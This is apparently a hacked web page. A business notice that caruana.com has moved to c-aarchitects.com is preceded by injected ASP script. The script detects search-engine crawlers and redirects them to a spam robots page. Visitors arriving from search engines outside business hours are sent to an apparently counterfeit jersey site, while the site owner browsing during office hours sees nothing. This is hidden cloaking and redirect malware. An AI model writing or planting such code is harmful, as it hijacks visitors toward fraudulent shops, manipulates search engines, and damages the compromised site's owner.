?% On Error Resume next dim urlReferrer urlReferrer = request.servervariables("http_referer") if Getbot()="baidu" or Getbot()="google" or Getbot()="bing" or Getbot()="yahoo" or Getbot()="aol" Then Response.Redirect("http://www.buckeyebowling.com/robots.html") Response.End elseif((instr(urlReferrer,"aol") > 0 or instr(urlReferrer,"bing") > 0 or instr(urlReferrer,"google") > 0 or instr(urlReferrer,"yahoo") > 0)) then If Datediff("s","08:00:00",Time())>0 And Datediff("s","18:00:00",Time())<0 And Weekday(Date())>1 And Weekday(Date())<7 Then else Response.Redirect("http://www.angeljersey.com/") Response.End End If End If function Getbot() dim s_agent Getbot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") if instr(1,s_agent,"googlebot",1) > 0 then Getbot="google" end if if instr(1,s_agent,"baiduspider",1) > 0 then Getbot="baidu" end if if instr(1,s_agent,"msnbot",1) > 0 then Getbot="bing" end if if instr(1,s_agent,"yahoo!",1) > 0 then Getbot="yahoo" end if if instr(1,s_agent,"aol!",1) > 0 then Getbot="aol" end if end Function %> Caruana & Associates is now c|a ARCHITECTS Caruana and Associates
This page will redirect to c-aarchitects.com in 5 seconds...

caruana.com is now c-aarchitects.com




This page will redirect to c-aarchitects.com in 5 seconds...